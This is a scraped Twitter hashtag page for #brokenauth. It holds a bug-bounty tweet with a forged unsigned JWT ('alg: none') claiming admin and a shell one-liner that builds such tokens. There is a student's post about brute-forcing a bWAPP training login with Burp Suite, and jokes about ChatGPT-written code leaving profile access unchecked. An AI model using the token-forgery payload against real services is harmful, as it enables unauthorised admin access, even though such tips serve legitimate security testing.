#brokenauth - Twitter Hashtag

about 2 months ago

JWT NoAlg Bypass (no sig needed) Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9. Change the fields accordingly if needed. echo '{"sub":"admin","role":"admin","admin":true}' | base64 | tr -d '=' | xargs -I{} echo "eyJhbGciOiJub25lIn0.{}." #BugBounty #BrokenAuth

BRuteLogic's tweet photo. JWT NoAlg Bypass (no sig needed)

Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.

Change the fields accordingly if needed.

echo '{"sub":"admin","role":"admin","admin":true}' | base64 | tr -d '=' | xargs -I{} echo "eyJhbGciOiJub25lIn0.{}."

#BugBounty #BrokenAuth https://t.co/TtQvjnJ9Hl

1

183

27

111

12K

Nwangwu Anthony @NwangwuAnt20021

4 months ago

DAY 9 CAPSTONE PROJECT This is me exploiting broken authentication on bWAPP. I brute forced a password request using the brute forcer payload type in burpsuite. @Mydeen4u @georgiaweidman @ireteeh @CyberRacheal @Sisinerd @cybersafehq @axiaafrica #brokenauth #bWAPP #capstoneP

NwangwuAnt20021's tweet photo. DAY 9 CAPSTONE PROJECT
This is me exploiting broken authentication on bWAPP. I brute forced a password request using the brute forcer payload type in burpsuite.
@Mydeen4u @georgiaweidman @ireteeh @CyberRacheal @Sisinerd @cybersafehq @axiaafrica
#brokenauth #bWAPP #capstoneP https://t.co/9s3ghz7SuV

3

9

2

0

215

Ritik @RitikShilp80441

4 months ago

chatgpt said "add auth lol" to my ai code. 8 hours later, react frontend lets anyone edit *anyone's* profile. horizontal pwned? asking for a friend (it's me). #BrokenAuth #AIFails #ReactJS

2

7

0

541

Ritik @RitikShilp80441

4 months ago

unpopular opinion: chatgpt's 'add security lol' adds about as much security as renaming your jwt to sus.jpg. horizontal pwnage speedrun. #AIAccess #BrokenAuth #VibeCoding

0

4

0

213

Ritik @RitikShilp80441

4 months ago

chatgpt said "add security lol" now everyone's accessing everyone else's AI waifus. guess who vibe coded *that* auth? fix was literally `if (user_id != waifu.owner_id) throw 403;` fml #AI #BrokenAuth #VibeCoding

0

2

0

175